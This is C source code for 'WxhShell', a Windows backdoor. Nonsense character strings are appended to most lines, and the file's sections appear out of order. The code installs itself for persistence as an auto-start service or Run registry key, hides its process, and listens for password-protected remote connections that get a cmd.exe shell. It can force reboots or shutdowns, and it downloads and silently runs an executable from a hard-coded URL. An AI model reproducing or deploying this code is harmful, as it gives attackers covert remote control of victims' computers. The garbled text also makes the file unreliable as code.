    send(wsh,msg_ws_err,strlen(msg_ws_err),0); moo>~F _^  
    else { mmjB1 L  
    closesocket(wsh); t!iF(R\  
    ExitThread(0); wUV%NZB  
    } S i>TG  
    break; U73`HDJ  
    } 6nq.~f2`  
  // 获取shell rRt<kTk!U  
  case 's': { =p7W^/c  
    CmdShell(wsh); EEo+#  
    closesocket(wsh); J2cNwhZ  
    ExitThread(0); ud#8`/!mq  
    break; 9=}/t9k  
  } /6.b>|zF  
  // 退出 JWdG?[$  
  case 'x': { /nmfp&@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mn4;$1~e>H  
    CloseIt(wsh); k m|wB4  
    break; $7bmUQ|  
    } CKR9APkv  
  // 离开 P<(mH=K  
  case 'q': { .z4FuG,R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !*ucVv;  
    closesocket(wsh); )I$Mh@F  
    WSACleanup(); S8cFD):q  
    exit(1); ixH7oWH#  
    break; K*}j1A  
        } "nefRz%j+  
  } ge?ymaU$a  
  } ?-Z:N`YP  
KWH  
  // 提示信息 Arv8P P^'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !'MD8  
} zF$wz1 %  
  } 1e+?O7/  
1&As:kv5I  
  return; 3//v{ce1]  
} 0q;] ;m  
7U7 i2 4  
// shell模块句柄 t8+93,*B  
int CmdShell(SOCKET sock) ;C<A }  
{ n)H0;25L  
STARTUPINFO si; )K6{_~Kc\  
ZeroMemory(&si,sizeof(si)); '[E_7$d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l`]!)j|+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M*H G4(n0  
PROCESS_INFORMATION ProcessInfo; !Ch ya  
char cmdline[]="cmd"; e_;6UZ+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); igL^k`&5^"  
  return 0; /Rz,2jfRx'  
} srkOa d  
< KA@A}  
// 自身启动模式 Qw-qcG  
int StartFromService(void) Dw[Q,SE   
{ qTGy\i  
typedef struct ZSSgc0u^?  
{ ?yb{DZ46  
  DWORD ExitStatus; D-!%L<<  
  DWORD PebBaseAddress; zK92:+^C   
  DWORD AffinityMask; BkeP?X  
  DWORD BasePriority; F"C Yrt  
  ULONG UniqueProcessId; el%Qxak`"  
  ULONG InheritedFromUniqueProcessId; sJlKN  
}   PROCESS_BASIC_INFORMATION; A%O#S<sa  
E=QQZ\w  
PROCNTQSIP NtQueryInformationProcess; (Vv]:Y]  
Ei<:=6EX?8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eH8.O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jYF3u0 )  
5=986ci$U  
  HANDLE             hProcess; AVWrD[ wD2  
  PROCESS_BASIC_INFORMATION pbi; IA4(^-9  
4#9-Z6kOk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jg8P4s  
  if(NULL == hInst ) return 0; n58jB:XR(  
SAJ=)h~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PsnU5f)`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C=cTj7Ub  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~] 2R+  
CQ[-Cp7  
  if (!NtQueryInformationProcess) return 0; 9R[','x  
$C/Gn~k 5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3\G=J  
  if(!hProcess) return 0; %R>S"  
(ce NVo&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zJ`(LnV  
xW4+)F5P(  
  CloseHandle(hProcess); Fm':sd)'X  
mg(56)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k]iS3+nD  
if(hProcess==NULL) return 0; ~=ktFuEa  
bYc qscW  
HMODULE hMod; {  9$Q|XK  
char procName[255]; O2dgdtm  
unsigned long cbNeeded; :bDA<B6bb  
S/;Y4o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4vS!99v)  
vBx^zDe  
  CloseHandle(hProcess); =;=V4nKN  
E}=NZqOB!  
if(strstr(procName,"services")) return 1; // 以服务启动 tW>R 16zq  
|hM)e*"  
  return 0; // 注册表启动 KOx#LGz  
} 9Q/!%y%5  
.*blM1+6i/  
// 主模块 _'U?!  
int StartWxhshell(LPSTR lpCmdLine) E;H(jVZ  
{ n #I}!x>2  
  SOCKET wsl; Kj 8 W  
BOOL val=TRUE; =[+&({  
  int port=0; 5#\p>}[HG  
  struct sockaddr_in door; u_8 22Z  
NG UGN~p  
  if(wscfg.ws_autoins) Install(); AHY)#|/)  
y3]"H(  
port=atoi(lpCmdLine); %ko 8P  
:<8V2  
if(port<=0) port=wscfg.ws_port; 8v 1%H8  
HPKyAcS\  
  WSADATA data; vq7%SEkES  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7F:;3c  
3+5\xRq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i%8&g2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qL.Y_,[[  
  door.sin_family = AF_INET; U(4_X[qD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E(_I3mftm  
  door.sin_port = htons(port); nk 9 K\I  
reJ?38(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0 _}89:-  
closesocket(wsl); vP NZFi-(  
return 1; =Gz>ZWF  
} ,{*fOpn  
QvN <uxm  
  if(listen(wsl,2) == INVALID_SOCKET) { L0  2~FT  
closesocket(wsl); 7=A9E]:  
return 1; {Y%=/ba W  
} c[lob{,  
  Wxhshell(wsl); Ki6.'#%7  
  WSACleanup(); NV4W2thYo  
/,Id_TTCO  
return 0; 'a?.X _t  
gGml c:/J%  
} !bQ &n  
F)ld@Ydk=  
// 以NT服务方式启动 mm<iT59  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q]UYG(  
{ (kyo?3  
DWORD   status = 0; kGV`Q  
  DWORD   specificError = 0xfffffff; an[~%vxw}  
J4c4Os>3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nY-9 1q?Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ytwv=;h-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fZ:rz;tM  
  serviceStatus.dwWin32ExitCode     = 0; p!QneeA`&X  
  serviceStatus.dwServiceSpecificExitCode = 0;  m+{: ^  
  serviceStatus.dwCheckPoint       = 0; U2lC !j%K  
  serviceStatus.dwWaitHint       = 0; @M^Qh Hs  
@b\_696.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); To%*)a  
  if (hServiceStatusHandle==0) return; 'N ::MN  
T)tHN#6I  
status = GetLastError(); T8TsKjqOZ  
  if (status!=NO_ERROR) :gaeb8`t  
{ '/gwC7*-&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hcc-J)=m  
    serviceStatus.dwCheckPoint       = 0; N/{Yi _n  
    serviceStatus.dwWaitHint       = 0; Yf)|ws?!  
    serviceStatus.dwWin32ExitCode     = status; k:)u7A+  
    serviceStatus.dwServiceSpecificExitCode = specificError; LEnP"o9ZW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ixHZX<6zYT  
    return; GiO#1gA  
  } OrJlHMz  
_m?(O/BTx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tF g'RV{  
  serviceStatus.dwCheckPoint       = 0; ]l7\Zq  
  serviceStatus.dwWaitHint       = 0; )u/ ^aK53^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AaC1 ||?R  
} NV(4wlh)y  
eEGcio}_I9  
// 处理NT服务事件,比如:启动、停止 ,W8Iabi^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IBNQmVRrI  
{ TIWLp  
switch(fdwControl) %<#3_}"T|  
{ o ]jP3 $t;  
case SERVICE_CONTROL_STOP: UMi`u6#  
  serviceStatus.dwWin32ExitCode = 0; gIM'bA<~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?[1qC=[Z<  
  serviceStatus.dwCheckPoint   = 0; 15T[J%7f  
  serviceStatus.dwWaitHint     = 0; 9AddF*B  
  { )'dH}3Ba  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R{KIkv  
  } -hFyqIJW  
  return; ^pV>b(?qw  
case SERVICE_CONTROL_PAUSE: n ,:.]3v%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JrWBcp:Y  
  break; jo3}]KC !  
case SERVICE_CONTROL_CONTINUE: pH l2!{z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I&fh  
  break; zM r!WoW  
case SERVICE_CONTROL_INTERROGATE: /j69NEl  
  break; l(w vQO  
}; 4zfRD`;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b hr E  
} ?(ls<&s{w  
8u5 'g1M  
// 标准应用程序主函数 ,\9mAt1O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e=jT]i*cU  
{ ^N2M/B|0  
BS,5W]ervE  
// 获取操作系统版本 ,ibPSN5Ca  
OsIsNt=GetOsVer(); DEQE7.]3q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CL'Xip')T  
x gT~b9  
  // 从命令行安装 ~z _](HKoS  
  if(strpbrk(lpCmdLine,"iI")) Install(); @?7{%j*  
3JZWhxkf[$  
  // 下载执行文件 -S%q!%}u  
if(wscfg.ws_downexe) { oTD-+MZn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SM /ykk  
  WinExec(wscfg.ws_filenam,SW_HIDE); pz35trW  
} $FusDdCv3  
d O46~  
if(!OsIsNt) { |*c\6 :  
// 如果时win9x,隐藏进程并且设置为注册表启动 o|;eMO-  
HideProc(); =Wk/q_.  
StartWxhshell(lpCmdLine); ^g-t#O lD?  
} zIm_7\e  
else  c(V=.+J  
  if(StartFromService()) y-\A@jJC5  
  // 以服务方式启动 <k\H`P  
  StartServiceCtrlDispatcher(DispatchTable); g;!@DVF$  
else ?X#/1X%u:  
  // 普通方式启动 @6 ;oN  
  StartWxhshell(lpCmdLine); bA<AG*  
\aVY>1`  
return 0; z'oiyXEE3  
} b~r{J5x@  
W\qLZuQ  
G]mWaA  
ImV]}M~_  
=========================================== h#m:Y~GoF  
$# !UGY  
qQxA@kdd  
T4~`e_  
Q1nDl  
hP1 l v7P  
" a\{1UD  
P wB g  
#include <stdio.h> %nmY:}um  
#include <string.h> [l':G]  
#include <windows.h> Gh2Q$w:  
#include <winsock2.h> *|k;a]HT  
#include <winsvc.h> >^yc=mM(g3  
#include <urlmon.h> Z<ajET`)  
<wt$Gglk  
#pragma comment (lib, "Ws2_32.lib") 'cAc{\)  
#pragma comment (lib, "urlmon.lib") %/y`<lJz(  
rXY;m-  
#define MAX_USER   100 // 最大客户端连接数 R>d@tr  
#define BUF_SOCK   200 // sock buffer hr[B^?6  
#define KEY_BUFF   255 // 输入 buffer )XP#W|;  
-.{oqs$  
#define REBOOT     0   // 重启 ^.D}k  
#define SHUTDOWN   1   // 关机 a;"Uz|rz  
1^L`)Up  
#define DEF_PORT   5000 // 监听端口 \6lh `U  
xEVLE,*?>  
#define REG_LEN     16   // 注册表键长度 JvfQib  
#define SVC_LEN     80   // NT服务名长度 }U%^3r-  
.~q)eV  
// 从dll定义API ;NH~9# t:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !6zyJc @01  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T3Frc ]6,4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SLtSqG7~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iz Ph1YA  
hI|/>4<  
// wxhshell配置信息 ,{?q^"  
struct WSCFG { &:c:9w  
  int ws_port;         // 监听端口 <Zp^lDxa  
  char ws_passstr[REG_LEN]; // 口令 L6:W'u^  
  int ws_autoins;       // 安装标记, 1=yes 0=no jow7t\wk  
  char ws_regname[REG_LEN]; // 注册表键名 OGJ=VQA  
  char ws_svcname[REG_LEN]; // 服务名 Y5ogi )  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iW|s|1mh3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ge0's+E+1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K8 b+   
int ws_downexe;       // 下载执行标记, 1=yes 0=no =2 &hQd   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'lhP!E_)q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M[aT2A  
7L=T]W  
}; Ys-Keyg  
>1x7UXs~:  
// default Wxhshell configuration )Fqy%uR8  
struct WSCFG wscfg={DEF_PORT, r8uqcKfU  
    "xuhuanlingzhe", JbE?a[Eg?  
    1, E-~mOYea  
    "Wxhshell", iOT)0@f'  
    "Wxhshell", 9W*.lf  
            "WxhShell Service", V43nws "4  
    "Wrsky Windows CmdShell Service", 3{<R5wUo"  
    "Please Input Your Password: ", D@8jGcz62  
  1, +w"_$Tj@;  
  "http://www.wrsky.com/wxhshell.exe", *Ph]F$ZP  
  "Wxhshell.exe" dG&2,n'f  
    }; aje^Z=]  
-uWKY6 :5  
// 消息定义模块 T8n-u b<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 24|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TH|?X0b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N-[n\}'  
char *msg_ws_ext="\n\rExit."; fNkuX-om  
char *msg_ws_end="\n\rQuit."; C"6 Amnj  
char *msg_ws_boot="\n\rReboot..."; L@w0N)P<!{  
char *msg_ws_poff="\n\rShutdown..."; Wk@ eV\H71  
char *msg_ws_down="\n\rSave to "; q0&Wk"X%rr  
<rNtY,  
char *msg_ws_err="\n\rErr!"; NQ? x8h3  
char *msg_ws_ok="\n\rOK!"; n0_B(997*  
: *ERRSL)  
char ExeFile[MAX_PATH]; D" L|"qJ  
int nUser = 0; R0%?:! F  
HANDLE handles[MAX_USER]; $`|5/,M%QN  
int OsIsNt; -#Np7/  
I(pb-oY3!I  
SERVICE_STATUS       serviceStatus; 81Z4>F:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?>sQF4 V"  
Dk6?Nwy"  
// 函数声明 EMLx?JnP  
int Install(void); y-'" >  
int Uninstall(void); Dy su{rL  
int DownloadFile(char *sURL, SOCKET wsh); p ZtgIS(3  
int Boot(int flag); lLH$`Wnv  
void HideProc(void); 1e/L\Y=m  
int GetOsVer(void); l '/N3&5  
int Wxhshell(SOCKET wsl); 3[VWTq)D=  
void TalkWithClient(void *cs); [*<.?9n)or  
int CmdShell(SOCKET sock); qgtn5] A  
int StartFromService(void); A8J8u,u9  
int StartWxhshell(LPSTR lpCmdLine); $,TGP+vH  
:/B:FY=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *ksb?|<Ot  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &.zj5*J  
Q:mZ" i5  
// 数据结构和表定义 =yo{[&Jz  
SERVICE_TABLE_ENTRY DispatchTable[] = L[rpb.'FG  
{ @%c81rv?  
{wscfg.ws_svcname, NTServiceMain}, j")FaIM  
{NULL, NULL} [OzzL\)3l  
}; 9qpU@V!  
!#?8BwnaZ  
// 自我安装 c<?[d!vI  
int Install(void) 6 *Zj]is  
{ ! ao6e  
  char svExeFile[MAX_PATH]; ~ FGe ~  
  HKEY key; 5:UyUB  
  strcpy(svExeFile,ExeFile); Km,*)X.-5  
W2`.RF^  
// 如果是win9x系统,修改注册表设为自启动 7F9;Su3.  
if(!OsIsNt) { `)$`-Pw*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nTs/Q  V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i2*d+?Er  
  RegCloseKey(key); V$(/0mQV(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %nWe,_PjD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~AQ>g#|%  
  RegCloseKey(key); lV\lj@  
  return 0; 6UlF5pom  
    } 8V-,Xig;`  
  } lyyX<=E{)  
} bj}=8k0  
else { Vv8_\^g]  
,^ 7 CP  
// 如果是NT以上系统,安装为系统服务 zie=2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); < W*xshn  
if (schSCManager!=0) 2U}m RgJu  
{ yyP'Z~0  
  SC_HANDLE schService = CreateService j$vK<SF  
  ( \5~;MI.Sq  
  schSCManager, $o.Kn9\  
  wscfg.ws_svcname, M;KA]fmc  
  wscfg.ws_svcdisp, rgqQxe=  
  SERVICE_ALL_ACCESS, 94Ud@F9d5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H8f]}  
  SERVICE_AUTO_START, 78 d_io}w  
  SERVICE_ERROR_NORMAL, ^O)ve^P  
  svExeFile, J B^Q\;$  
  NULL, $w)~xE5;  
  NULL, WS:5MI,OL  
  NULL, W`rMtzL5  
  NULL, ^,TTwLy- t  
  NULL R-  
  ); =1Z;Ma<;  
  if (schService!=0) +{$QAjW(/  
  { \3zp)J  
  CloseServiceHandle(schService); rQJ"&CapT  
  CloseServiceHandle(schSCManager);  8gC)5Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Hm fXe  
  strcat(svExeFile,wscfg.ws_svcname); wzh ]97b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >.<ooWw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YTQps&mD.  
  RegCloseKey(key); J-V49X#  
  return 0; "'a* [%  
    } B[F-gq-  
  } ka/XK[/'  
  CloseServiceHandle(schSCManager); 02\JzBU  
} m!O;>D  
} !8R@@,_v  
}H RK?.Vj:  
return 1; *5OCqU+g  
} Cqx v"NN  
C!&y   
// 自我卸载 .VM3D0aV  
int Uninstall(void) 4Po)xo  
{  9S1)U$  
  HKEY key; tHh HrMxO  
<x0H@?f7  
if(!OsIsNt) { zN~6HZ_:^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vfwA$7N  
  RegDeleteValue(key,wscfg.ws_regname); d-B7["z,  
  RegCloseKey(key); lw[e *q{s.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R-rCh.  
  RegDeleteValue(key,wscfg.ws_regname); r?A|d.Tl  
  RegCloseKey(key); G[h(xp?,l  
  return 0; :!Ig- +W  
  } ]|U-y6 45  
} ECcZz.  
} l&W;b6L  
else { bk<FL6z z  
KrcgIB8X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A6{b?aQ  
if (schSCManager!=0) B=X,7  
{ #yW\5)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o>?*X(+le  
  if (schService!=0) ~@4'HMQ  
  { FT89*C)oD  
  if(DeleteService(schService)!=0) { &|Np0R  
  CloseServiceHandle(schService); jb[!E^'&>  
  CloseServiceHandle(schSCManager); ;%!B[+ut"  
  return 0; DCQ^fZ/  
  } *5V Xyt2  
  CloseServiceHandle(schService); XK A pLz  
  } > cN~U3  
  CloseServiceHandle(schSCManager); VDGCWg6z  
} 0F:1\9f5  
} P"3*lk+w  
P0Z! ?`e=M  
return 1; T$+-IAE  
} _&#S@aGw  
r~7:daG*  
// 从指定url下载文件 M4m$\~zf  
int DownloadFile(char *sURL, SOCKET wsh) zj|WZ=1*Wp  
{ T vtm`Yk\  
  HRESULT hr; {9LWUCpsf  
char seps[]= "/"; LF*&(NC  
char *token; 0;.<~;@h  
char *file; JkQ\)^5v  
char myURL[MAX_PATH]; ',I0ih#Ls  
char myFILE[MAX_PATH]; '5KeL3J;  
atF?OP|{,w  
strcpy(myURL,sURL);  dy>!KO  
  token=strtok(myURL,seps); EME.h&A\G`  
  while(token!=NULL) Uf\nFB? ^  
  { XfYC7-e9c  
    file=token; j&R+2%  
  token=strtok(NULL,seps); W# US#<9Y  
  } Te,$M3|  
9 QC.TG@  
GetCurrentDirectory(MAX_PATH,myFILE); ;GGK`V  
strcat(myFILE, "\\"); 'gso'&Uaj  
strcat(myFILE, file); uz3 0_aH  
  send(wsh,myFILE,strlen(myFILE),0); sEc;!L  
send(wsh,"...",3,0); %^]?5a!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); As&v Ft P  
  if(hr==S_OK) ++-{]wB3=.  
return 0; w ej[+y-  
else %A/_5;PZ/  
return 1; 1|r,dE2k9  
fbvbz3N  
} @Xp~2@I=ls  
3AcD,,M>>  
// 系统电源模块 Gi2$B76<  
int Boot(int flag) zDTv\3rZ4X  
{ xdvh-%A4  
  HANDLE hToken; 3< Od0J  
  TOKEN_PRIVILEGES tkp; :4gLjzL  
bM,1f/^  
  if(OsIsNt) { M~Ttb29{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Cq)IayD@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ro(Zmk\t  
    tkp.PrivilegeCount = 1; (la[KqqCO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kgdT7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R(Kk{c:-@  
if(flag==REBOOT) { IiBD?}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LwcIGhy  
  return 0; {'En\e  
} Q]/Uq~m C  
else { cD|Htt"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3r+.N  
  return 0; X0(tboj#  
} =ONHK F[UJ  
  } /4\wn?f  
  else { 7R4z}2F2  
if(flag==REBOOT) { mEyK1h1G @  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <S75($  
  return 0; ikD1N  
} [BBEEI=|r  
else { T:]L/wCj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BQH}6ueZ  
  return 0; F[ ajOb8  
} "XgmuSQ!  
} _5 ^I.5Z3  
'B5^P  
return 1; <_Z:'~Zp  
} 7Z ;?b0W  
) rW&c- '  
// win9x进程隐藏模块 :r#)z4d5  
void HideProc(void) U6E\AvbRn  
{ 0|&\'{  
ZK;zm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jHXwOJq %  
  if ( hKernel != NULL ) 'y]\-T  
  { o2z]dTJ}o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [u}(57DS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2%RNq<{Z_  
    FreeLibrary(hKernel); zmj"fN{\  
  } (;Y8pKl1e  
;5-r_D;9  
return; X$%4$  
} 2*"Fu:a"`I  
.MQ^(  
// 获取操作系统版本 "tjLc6Xl^  
int GetOsVer(void) Wq*b~Lw  
{ BrRL7xX  
  OSVERSIONINFO winfo; K~=UUB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sJwyj D$b  
  GetVersionEx(&winfo); #U8rO;$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yz8mP3"c:o  
  return 1; fXI:Y8T  
  else n1 6 `y}  
  return 0; 0Wa}<]:^  
} G,Z^g|6  
!q"W{P  
// 客户端句柄模块 toN^0F?Qm  
int Wxhshell(SOCKET wsl) H~ZV *[A`  
{ sGh(#A0Pt  
  SOCKET wsh; 2(5ebe[  
  struct sockaddr_in client; qTZFPfyU  
  DWORD myID; n  -(  
su*Pk|6%  
  while(nUser<MAX_USER) qW:HNEiir  
{ Bqma\1cgb  
  int nSize=sizeof(client); Zo1,1O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .920{G?l5  
  if(wsh==INVALID_SOCKET) return 1; bR@p<;G|  
]smkTo/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qC F5~;7  
if(handles[nUser]==0) [Nn`l,  
  closesocket(wsh); O G<,- 7  
else c'/l,k  
  nUser++; |5Xq0nvCe  
  } U9b?i$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .bBdQpF-  
Y0eE-5F,  
  return 0; 4pw6bK,s2\  
} D %Xo&V[  
quY:pqG38q  
// 关闭 socket ca+5=+X7  
void CloseIt(SOCKET wsh) eX@L3BKp  
{ q, O$ %-70  
closesocket(wsh); n; {76Q  
nUser--; ;a:[8Yi  
ExitThread(0); LL:_L<  
} k)EX(T\  
>EY3/Go>  
// 客户端请求句柄 boDt`2=  
void TalkWithClient(void *cs) }&_/PA0j  
{ MEB it  
RX/hz|   
  SOCKET wsh=(SOCKET)cs; vWAL^?HUP  
  char pwd[SVC_LEN]; d!eYqM7-G  
  char cmd[KEY_BUFF]; "DYJ21Ut4  
char chr[1]; U&O: _>~  
int i,j; f^W;A"+  
9 (QJT}qC  
  while (nUser < MAX_USER) { j?'GZ d"B  
98^V4maR:  
if(wscfg.ws_passstr) { t!RiUZAo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5\z `-)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SdD6 ~LS  
  //ZeroMemory(pwd,KEY_BUFF); #%DE;  
      i=0; -Uml_/rd_  
  while(i<SVC_LEN) { *}P~P$q%  
Gz .|]:1  
  // 设置超时 ;*MLRXq  
  fd_set FdRead; 21"1NJzP  
  struct timeval TimeOut; eJg8,7WC  
  FD_ZERO(&FdRead); %c4Hse#Y  
  FD_SET(wsh,&FdRead); X&kp;W  
  TimeOut.tv_sec=8; Kr)a2rZ}SL  
  TimeOut.tv_usec=0; 1I:+MBGin  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Bz,?{o6s)Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :OuA)f  
J{Q|mD=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~@}Bi@*  
  pwd=chr[0]; %7|9sQ:  
  if(chr[0]==0xd || chr[0]==0xa) { `nu''B H  
  pwd=0; FJMrs[  
  break; }}59V&'t  
  } <7~'; K  
  i++; q<M2,YrbAI  
    } jyCXJa-!-  
q@{Bt{$x  
  // 如果是非法用户,关闭 socket /'/Xvm3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c Vc-  
} \kZ?  
nR*ryv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m;,N)<~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mHRiugb!  
Z.Lc>7o  
while(1) { 7<*yS310  
:=Nz }mUV  
  ZeroMemory(cmd,KEY_BUFF); ,y#Kv|R  
o2F)%TDY  
      // 自动支持客户端 telnet标准   ?{[ v+t#  
  j=0; u ,KD4{!  
  while(j<KEY_BUFF) { ?{ryGhb~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z:wutqru  
  cmd[j]=chr[0]; %%[LKSTb  
  if(chr[0]==0xa || chr[0]==0xd) { x<ZJb  
  cmd[j]=0; -Fe?R*-g  
  break; )P sY($ &  
  } p^w;kN  
  j++; lN Yt`xp  
    } %lGl,me H  
@J/K-.r  
  // 下载文件 "]} bFO7C  
  if(strstr(cmd,"http://")) { oG_~q w|h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); , K~}\CR  
  if(DownloadFile(cmd,wsh)) ZQV6xoN;r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jcd-  
  else J| w>a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \| 8  
  } nWw":K<@Q_  
  else { !2f[}.6+  
asppRL||  
    switch(cmd[0]) { R\!2l |_  
